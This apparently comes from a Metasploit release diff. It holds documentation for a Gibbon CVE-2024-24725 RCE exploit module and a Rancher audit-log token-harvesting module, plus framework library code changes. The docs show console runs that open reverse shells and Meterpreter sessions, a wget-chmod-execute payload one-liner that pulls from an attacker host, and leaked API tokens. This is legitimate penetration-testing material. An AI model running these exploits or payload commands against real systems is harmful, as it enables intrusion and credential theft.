[*] Certificate stored at: /home/user/.msf4/loot/20240404122240_default_20.92.148.129_windows.ad.cs_785877.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 1107833b-0eb6-0477-a7c6-3590b326851a
[*] Auxiliary module execution completed
```
@@ -0,0 +1,275 @@
## Vulnerable Application
A Remote Code Execution vulnerability in Gibbon online school platform version `26.0.00` and lower
allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a POST request
to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information.
This module has been tested with:
* Gibbon online School Platform `v26.0.00` on Windows Server `2019` Standard running in VirtualBox `7.0.14 r161095 (Qt5.15.2)`.
* Gibbon online School Platform `v26.0.00` on Ubuntu `22.04` running in VirtualBox `7.0.14 r161095 (Qt5.15.2)`.
## Installation steps to install the Gibbon Online School Platform
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
* Download the Gibbon School Platform software from [here](https://docs.gibbonedu.org/administrators/getting-started/download/).
* Install Gibbon following [these instructions](https://docs.gibbonedu.org/administrators/getting-started/installing-gibbon/).
* When installed, you should be able to access the Gibbon Online School Platform
* either thru `HTTP` port 80 or `HTTPS` port 443 depending on your configuration settings.
You are now ready to test the module.
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/multi/http/gibbon_auth_rce_cve_2024_24725`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set username <username>`
- [ ] `set password <password>`
- [ ] `set target <0=PHP, 1=Unix Command, 2=Linux Dropper, 3=Windows Command, 4=Windows Dropper>`
- [ ] `exploit`
you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings.
## Options
### WEBSHELL
You can use this option to set the filename without extension of the webshell.
This is handy if you want to test the webshell upload and execution with different file names.
to bypass any security settings on the Web and PHP server.
### USERNAME
A valid Gibbon username to authenticate at the Gibbon School Platform.
You can use the e-mail address or the short name of the user.
### PASSWORD
The password of the Gibbon user in clear text format.
## Scenarios
```msf
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > info
Name: Gibbon School Platform Authenticated PHP Deserialization Vulnerability
Module: exploit/multi/http/gibbon_auth_rce_cve_2024_24725
Platform: PHP, Unix, Linux, Windows
Arch: php, cmd, x64, x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2024-03-18
Provided by:
h00die-gr3y <h00die.gr3y@gmail.com>
SecondX.io Research Team(Ali Maharramli,Fikrat Guliev,Islam Rzayev)
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
=> 0 PHP
1 Unix Command
2 Linux Dropper
3 Windows Command
4 Windows Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password
Proxies no A proxy chain of format type:host:port[,type:host:port][
...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs
/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The Gibbon online school platform endpoint URL
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes Gibbon username to login, typically an e-mail address
VHOST no HTTP server virtual host
WEBSHELL no Set webshell name without extension. Name will be randomly generated if left unset.
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an
address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload information:
Description:
A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower
allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a
POST request to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
to sensitive information.
References:
https://nvd.nist.gov/vuln/detail/CVE-2024-24725
https://attackerkb.com/topics/ogKGAB44BP/cve-2024-24725
https://packetstormsecurity.com/files/177635
https://www.exploit-db.com/exploits/51903
View the full module info with the info -d command.
```
### Target 0 - PHP native `php/meterpreter/reverse_tcp` session
```shell
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set rport 80
rport => 80
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set ssl false
ssl => false
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set username cuckoo@clock.com
username => cuckoo@clock.com
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set password dingdong
password => dingdong
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set rhosts 192.168.201.4
rhosts => 192.168.201.4
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.4:80 can be exploited.
[+] The target appears to be vulnerable. Gibbon v26.0.00
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 192.168.201.4
[+] Deleted FaYSQoZdlBg.php
[*] Meterpreter session 5 opened (192.168.201.8:4444 -> 192.168.201.4:49958) at 2024-04-01 15:07:30 +0000
meterpreter > sysinfo
Computer : WIN-BJDNH44EEDB
OS : Windows NT WIN-BJDNH44EEDB 10.0 build 17763 (Windows Server 2016) AMD64
Meterpreter : php/windows
meterpreter > getuid
Server username: SYSTEM
meterpreter > pwd
C:\wamp64\www
meterpreter >
```
### Target 1 - Unix Command `cmd/unix/reverse_bash` session
```shell
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 1
target => 1
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.44:80 can be exploited.
[+] The target appears to be vulnerable. Gibbon v26.0.00
[*] Executing Unix Command for cmd/unix/reverse_bash
[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.44:33118) at 2024-04-01 19:51:43 +0000
pwd
/var/www
uname -a
Linux cuckoo 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),29(audio)
```
### Target 2 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session
```shell
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 2
target => 2
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.44:80 can be exploited.
[+] The target appears to be vulnerable. Gibbon v26.0.00
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://192.168.201.8:8080/gn2mFk
[*] Client 192.168.201.44 (Wget/1.21.2) requested /gn2mFk
[*] Sending payload to 192.168.201.44 (Wget/1.21.2)
[*] Sending stage (3045380 bytes) to 192.168.201.44
[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.44:46276) at 2024-04-01 19:57:04 +0000
[*] Command Stager progress - 100.00% done (112/112 bytes)
[*] Server stopped.
meterpreter > sysinfo
Computer : 192.168.201.44
OS : Ubuntu 22.04 (Linux 5.15.0-101-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: www-data
meterpreter > exit
```
### Target 3 - Windows Command `cmd/windows/powershell/x64/meterpreter/reverse_tcp` session
```shell
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 3
target => 3
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.4:80 can be exploited.
[+] The target appears to be vulnerable. Gibbon v26.0.00
[*] Executing Windows Command for cmd/windows/powershell/x64/meterpreter/reverse_tcp
[*] Sending stage (201798 bytes) to 192.168.201.4
[*] Meterpreter session 6 opened (192.168.201.8:4444 -> 192.168.201.4:49962) at 2024-04-01 15:11:38 +0000
meterpreter > sysinfo
Computer : WIN-BJDNH44EEDB
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```
### Target 4 - Windows Dropper `windows/x64/meterpreter/reverse_tcp` session
```shell
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > set target 4
target => 4
msf6 exploit(multi/http/gibbon_auth_rce_cve_2024_24725) > exploit
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.4:80 can be exploited.
[+] The target appears to be vulnerable. Gibbon v26.0.00
[*] Executing Windows Dropper for windows/x64/meterpreter/reverse_tcp
[*] Using URL: http://192.168.201.8:8080/877P8aB3
[*] Client 192.168.201.4 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.1) requested /877P8aB3
[*] Sending payload to 192.168.201.4 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.1)
[*] Sending stage (201798 bytes) to 192.168.201.4
[*] Meterpreter session 7 opened (192.168.201.8:4444 -> 192.168.201.4:49967) at 2024-04-01 15:13:43 +0000
[*] Command Stager progress - 100.00% done (147/147 bytes)
[*] Server stopped.
meterpreter > sysinfo
Computer : WIN-BJDNH44EEDB
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```
## Limitations
No limitations except for the fact that you need valid login credentials.
@@ -0,0 +1,121 @@
## Vulnerable Application
Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive
contain a vulnerability where sensitive data is leaked into the audit logs.
Rancher Audit Logging is an opt-in feature, only deployments that have it
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.
Tested against rancher 2.6.0 and 2.8.1.
### Install
Run the following docker command:
`docker run -d --restart=unless-stopped -p 80:80 -p 443:443 -e AUDIT_LEVEL=3 -v /var/log/rancher/auditlog:/var/log/auditlog --privileged rancher/rancher:v2.6.0`
You'll now need to grab the install key via `docker logs`: `docker logs <docker_id> 2>&1 | grep "Bootstrap Password:"`
Lets now add some data for the logs:
1. Click Cluster Management
1. Select Cloud Credentials:
1. Click the hamburger in the top left corner
1. Select Cluster Management
1. Click Cloud Credentials, and Create
1. Pick Digital Ocean
1. Fill in random data, it doesn't have to validate and be a live account
1. Click Create. It will fail, but the audit logs we need have been written
1. Pick Amazon
1. Fill in random data, it doesn't have to validate and be a live account
1. Click Create. It will fail, but the audit logs we need have been written
1. Click your user icon in the top right corner
1. Select Accounts & API Keys
1. Click Create API Key
1. Give it a name and click create. Write down these values
1. Perform a request via curl (on the docker image is easiest) which will generate more logs (but ultimately fail):
`curl -H "X-Api-Auth-Header: <your bearer token>" -H "X-Amz-Security-Token: FINDME" -k https://172.17.0.2/v3/clusters`
## Verification Steps
1. Install the application and generate data
1. Start msfconsole
1. Get a shell
1. Do: `use post/linux/gather/rancher_audit_log_leak`
1. Do: `set session [#]`
1. Do: `run`
1. You should get a table of leaky fields found
## Options
### LOGFILE
The log file to analyze. Defaults to `/var/log/auditlog/rancher-api-audit.log`
## Scenarios
### Rancher 2.6.0 on Docker
```
[*] Processing rancher_logs.rb for ERB directives.
resource (rancher_logs.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (rancher_logs.rb)> set target 7
target => 7
resource (rancher_logs.rb)> set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (rancher_logs.rb)> set lhost 172.18.0.1
lhost => 172.18.0.1
resource (rancher_logs.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Using URL: http://172.18.0.1:8080/zpJT4e2V
[*] Server started.
[*] Run the following command on the target machine:
wget -qO gmZmOwc0 --no-check-certificate http://172.18.0.1:8080/zpJT4e2V; chmod +x gmZmOwc0; ./gmZmOwc0& disown
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.17.0.2:34252) at 2024-03-13 16:51:26 +0000
```
```
resource (rancher_logs.rb)> use post/linux/gather/rancher_audit_log_leak
resource (rancher_logs.rb)> set session 1
session => 1
resource (rancher_logs.rb)> set verbose true
verbose => true
msf6 post(linux/gather/rancher_audit_log_leak) >
msf6 post(linux/gather/rancher_audit_log_leak) > run
[+] Rancher log saved to: /root/.msf4/loot/20240313165133_default_172.17.0.2_rancher.api.log_616439.txt
[+] Found X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs
[+] Found X-Amz-Security-Token FINDME
[+] Found X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[+] Found X-Api-Set-Cookie-Header: __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
[+] Found X-Api-Auth-Header Bearer digital_ocean_access_token
[+] Found X-Api-Set-Cookie-Header: __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed
[+] Leaked Information
==================
Field Value Location
----- ----- --------
Username admin Requests
X-Amz-Security-Token FINDME requestHeader
X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs requestHeader
X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa requestHeader
X-Api-Auth-Header Bearer digital_ocean_access_token requestHeader
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader
t-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader
t-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader
t-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed
X-Api-Set-Cookie-Header __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY responseHeader
2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
X-Api-Set-Cookie-Header __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9 responseHeader
CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None
[*] Post module execution completed
msf6 post(linux/gather/rancher_audit_log_leak) >
```
@@ -82,6 +82,7 @@ module Metasploit
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
if use_client_as_proof
result_options[:proof] = client
result_options[:connection] = client.sock
else
client.disconnect
end
@@ -37,7 +37,7 @@ module Metasploit
begin
# manage our behind the scenes socket. Close any existing one and open a new one
disconnect if self.sock
self.sock = connect
connect
mysql_conn = ::Rex::Proto::MySQL::Client.connect(host, credential.public, credential.private, '', port, io: self.sock)
@@ -75,7 +75,8 @@ module Metasploit
# Additionally assign values to nil to avoid closing the socket etc automatically
if use_client_as_proof
result_options[:proof] = mysql_conn
nil
result_options[:connection] = self.sock
self.sock = nil
else
mysql_conn.close
end
@@ -11,7 +11,7 @@ module Metasploit
class Postgres
include Metasploit::Framework::LoginScanner::Base
# @returns [Boolean] If a login is successful and this attribute is true - a PostgreSQL::Client instance is used as proof,
# @returns [Boolean] If a login is successful and this attribute is true - a Msf::Db::PostgresPR::Connection instance is used as proof,
# and the socket is not immediately closed
attr_accessor :use_client_as_proof
@@ -80,7 +80,7 @@ module Metasploit
# Additionally assign values to nil to avoid closing the socket etc automatically
if use_client_as_proof
result_options[:proof] = pg_conn
pg_conn = nil
result_options[:connection] = pg_conn.conn
else
pg_conn.close
end
@@ -152,6 +152,7 @@ module Metasploit
# Additionally assign values to nil to avoid closing the socket etc automatically
if use_client_as_proof
proof = client
connection = self.sock
client = nil
self.sock = nil
self.dispatcher = nil
@@ -184,7 +185,11 @@ module Metasploit
access_level ||= AccessLevels::GUEST
end
result = Result.new(credential: credential, status: status, proof: proof, access_level: access_level)
result = Result.new(credential: credential,
status: status,
proof: proof,
access_level: access_level,
connection: connection)
result.host = host
result.port = port
result.protocol = 'tcp'
+48 -5
View File
@@ -14,6 +14,7 @@ module Metasploit
DEFAULT_TIMEOUT = 2
DEFAULT_PORT = 161
DEFAULT_PROTOCOL = 'udp'.freeze
DEFAULT_VERSION = '1'.freeze
DEFAULT_QUEUE_SIZE = 100
LIKELY_PORTS = [ 161, 162 ].freeze
@@ -27,6 +28,10 @@ module Metasploit
# @return [String]
attr_accessor :version
# The SNMP protocol to use
# @return [String]
attr_accessor :protocol
# The number of logins to try in each batch
# @return [Integer]
attr_accessor :queue_size
@@ -37,6 +42,12 @@ module Metasploit
in: ['1', '2c', 'all']
}
validates :protocol,
presence: true,
inclusion: {
in: ['udp', 'tcp']
}
validates :queue_size,
presence: true,
numericality: {
@@ -191,10 +202,26 @@ module Metasploit
process_responses(1.0)
end
def recv_wrapper(sock, max_size, timeout)
res = nil
if protocol == 'udp'
res = sock.recvfrom(max_size, timeout)
elsif protocol == 'tcp'
ready = ::IO.select([sock], nil, nil, timeout)
if ready
res = sock.recv_nonblock(max_size)
# Put into an array to mimic recvfrom
res = [res, host, port]
end
end
res
end
# Process any responses on the UDP socket and queue the results
def process_responses(timeout = 1.0)
queue = []
while (res = sock.recvfrom(65535, timeout))
while (res = recv_wrapper(sock, 65535, timeout))
# Ignore invalid responses
break if !(res[1])
@@ -212,7 +239,7 @@ module Metasploit
community: response[:community],
host: host,
port: port,
protocol: 'udp',
protocol: protocol,
service_name: 'snmp',
proof: response[:proof],
status: Metasploit::Model::Login::Status::SUCCESSFUL,
@@ -237,12 +264,22 @@ module Metasploit
)
end
def send_wrapper(sock, pkt, host, port, flags)
if protocol == 'tcp'
return sock.send(pkt, flags)
end
if protocol == 'udp'
return sock.sendto(pkt, host, port, 0)
end
end
# Send a SNMP request on the existing socket
def send_snmp_request(pkt)
resend_count = 0
begin
sock.sendto(pkt, host, port, 0)
send_wrapper(sock, pkt, host, port, 0)
rescue ::Errno::ENOBUFS
resend_count += 1
if resend_count > MAX_RESEND_COUNT
@@ -347,10 +384,15 @@ module Metasploit
# Create a new socket for this scanner
def configure_socket
shutdown_socket if sock
self.sock = ::Rex::Socket::Udp.create(
self.sock = ::Rex::Socket.create({
'PeerHost' => host,
'PeerPort' => port,
'Proto' => protocol,
'Timeout' => connection_timeout,
'Context' =>
{ 'Msf' => framework, 'MsfExploit' => framework_module }
)
})
end
# Close any open socket if it exists
@@ -362,6 +404,7 @@ module Metasploit
# Sets the SNMP parameters if not specified
def set_sane_defaults
self.connection_timeout = DEFAULT_TIMEOUT if connection_timeout.nil?
self.protocol = DEFAULT_PROTOCOL if protocol.nil?
self.port = DEFAULT_PORT if port.nil?
self.version = DEFAULT_VERSION if version.nil?
self.queue_size = DEFAULT_QUEUE_SIZE if queue_size.nil?
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.4.2"
VERSION = "6.4.3"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
-18
View File
@@ -4,10 +4,6 @@ require 'rex/post/mssql'
class Msf::Sessions::MSSQL < Msf::Sessions::Sql
# @return [String] The address MSSQL is running on
attr_accessor :address
# @return [Integer] The port MSSQL is running on
attr_accessor :port
attr_reader :framework
def initialize(rstream, opts = {})
@@ -40,18 +36,4 @@ class Msf::Sessions::MSSQL < Msf::Sessions::Sql
def desc
'MSSQL'
end
def address
return @address if @address
@address, @port = client.sock.peerinfo.split(':')
@address
end
def port
return @port if @port
@address, @port = client.sock.peerinfo.split(':')
@port
end
end
+3 -17
View File
@@ -8,6 +8,8 @@ class Msf::Sessions::MySQL < Msf::Sessions::Sql
# @param [Hash] opts
def initialize(rstream, opts = {})
@client = opts.fetch(:client)
self.platform = opts.fetch(:platform)
self.arch = opts.fetch(:arch)
self.console = ::Rex::Post::MySQL::Ui::Console.new(self)
super(rstream, opts)
end
@@ -19,7 +21,7 @@ class Msf::Sessions::MySQL < Msf::Sessions::Sql
session = self
session.init_ui(user_input, user_output)
@info = "MySQL #{datastore['USERNAME']} @ #{client.socket.peerinfo}"
@info = "MySQL #{datastore['USERNAME']} @ #{client.peerinfo}"
end
# @return [String] The type of the session
@@ -36,20 +38,4 @@ class Msf::Sessions::MySQL < Msf::Sessions::Sql
def desc
'MySQL'
end
# @return [Object] The peer address
def address
return @address if @address
@address, @port = @client.socket.peerinfo.split(':')
@address
end
# @return [Object] The peer host
def port
return @port if @port
@address, @port = @client.socket.peerinfo.split(':')
@port
end
end
+1 -15
View File
@@ -6,7 +6,7 @@ class Msf::Sessions::PostgreSQL < Msf::Sessions::Sql
# @param[Rex::IO::Stream] rstream
# @param [Hash] opts
# @param opts [PostgreSQL::Client] :client
# @param opts [Msf::Db::PostgresPR::Connection] :client
def initialize(rstream, opts = {})
@client = opts.fetch(:client)
@console = ::Rex::Post::PostgreSQL::Ui::Console.new(self)
@@ -39,18 +39,4 @@ class Msf::Sessions::PostgreSQL < Msf::Sessions::Sql
def desc
'PostgreSQL'
end
def address
return @address if @address
@address, @port = @client.conn.peerinfo.split(':')
@address
end
def port
return @port if @port
@address, @port = @client.conn.peerinfo.split(':')
@port
end
end
+2 -8
View File
@@ -75,17 +75,11 @@ class Msf::Sessions::SMB
end
def address
return @address if @address
@address, @port = self.client.dispatcher.tcp_socket.peerinfo.split(':')
@address
@address ||= simple_client.peerhost
end
def port
return @port if @port
@address, @port = self.client.dispatcher.tcp_socket.peerinfo.split(':')
@port
@port ||= simple_client.peerport
end
##
+4 -4
View File
@@ -73,14 +73,14 @@ class Msf::Sessions::Sql
raise ::NotImplementedError
end
# @return [Object] The peer address
# @return [String] The peer address
def address
raise ::NotImplementedError
client.peerhost
end
# @return [Object] The peer host
# @return [Integer] The peer port
def port
raise ::NotImplementedError
client.peerport
end
# Initializes the console's I/O handles.
+1 -1
View File
@@ -29,7 +29,7 @@ module Rex
self.session = session
self.client = session.client
envchange = ::Rex::Proto::MSSQL::ClientMixin::ENVCHANGE
prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{client.initial_info_for_envchange(envchange: envchange::DATABASE)[:new]})%clr"
prompt = "%undMSSQL @ #{client.peerinfo} (#{client.initial_info_for_envchange(envchange: envchange::DATABASE)[:new]})%clr"
history_manager = Msf::Config.mssql_session_history
super(prompt, '>', history_manager, nil, :mssql)
+1 -2
View File
@@ -24,8 +24,7 @@ module Rex
# The mysql client context
self.session = session
self.client = session.client
self.client.socket ||= self.client.io
prompt = "%undMySQL @ #{client.socket.peerinfo} (#{current_database})%clr"
prompt = "%undMySQL @ #{client.peerinfo} (#{current_database})%clr"
history_manager = Msf::Config.mysql_session_history
super(prompt, '>', history_manager, nil, :mysql)
+1 -1
View File
@@ -28,7 +28,7 @@ module Rex
# The postgresql client context
self.session = session
self.client = session.client
prompt = "%undPostgreSQL @ #{client.conn.peerinfo} (#{current_database})%clr"
prompt = "%undPostgreSQL @ #{client.peerinfo} (#{current_database})%clr"
history_manager = Msf::Config.postgresql_session_history
super(prompt, '>', history_manager, nil, :postgresql)
+24
View File
@@ -0,0 +1,24 @@
# -*- coding: binary -*-
require 'bindata'
module Rex::Proto
# [_BCRYPT_RSAKEY_BLOB](https://github.com/tpn/winsdk-10/blob/9b69fd26ac0c7d0b83d378dba01080e93349c2ed/Include/10.0.14393.0/shared/bcrypt.h#L390)
class BcryptPublicKey < BinData::Record
MAGIC = 0x31415352
endian :little
uint32 :magic, initial_value: MAGIC
uint32 :key_length
uint32 :exponent_length, :value => lambda { exponent.length }
uint32 :modulus_length, :value => lambda { modulus.length }
uint32 :prime1_length, :value => lambda { prime1.length }
uint32 :prime2_length, :value => lambda { prime2.length }
string :exponent, :read_length => :exponent_length
string :modulus, :read_length => :modulus_length
string :prime1, :read_length => :prime1_length
string :prime2, :read_length => :prime2_length
end
end
+38
View File
@@ -0,0 +1,38 @@
module Rex
module Proto
module LDAP
# Handle converting objects into the DN-Binary syntax
# See: https://learn.microsoft.com/en-us/windows/win32/adschema/s-object-dn-binary
class DnBinary
def initialize(dn, data)
self.dn = dn
self.data = data
end
# Turn a DN-Binary string into a structured object containing data and a DN
# @param str [String] A DN-Binary-formatted string
def self.decode(str)
groups = str.match(/B:(\d+):(([a-fA-F0-9]{2})*):(.*)/)
raise ArgumentError.new('Invalid DN Binary string') if groups.nil?
length = groups[1].to_i
raise ArgumentError.new('Invalid DN Binary string length') if groups[2].length != length
data = [groups[2]].pack('H*')
DnBinary.new(groups[4], data)
end
# Turn this structured object containing data and a DN into a DN-Binary string
# @return [String] The DN-Binary-formatted string
def encode
data_hex = self.data.unpack('H*')[0]
"B:#{data_hex.length}:#{data_hex}:#{self.dn}"
end
attr_accessor :data # Raw bytes
attr_accessor :dn # LDAP Distinguished name
end
end
end
end
+185
View File
@@ -0,0 +1,185 @@
module Rex::Proto::MsAdts
class KeyCredential
KEY_USAGE_NGC = 0x01
KEY_USAGE_FIDO = 0x07
KEY_USAGE_FEK = 0x08
KEY_CREDENTIAL_VERSION_2 = 0x200
DEFAULT_KEY_INFORMATION = "\x01\x00" # Version and flags
def initialize
self.key_source = 0
self.device_id = Rex::Proto::MsDtyp::MsDtypGuid.new
self.device_id.set(Rex::Proto::MsDtyp::MsDtypGuid.random_generate)
self.custom_key_information = DEFAULT_KEY_INFORMATION
end
# Set the key material for this credential object
# @param public_key [OpenSSL::PKey::RSA] Public key used for authentication
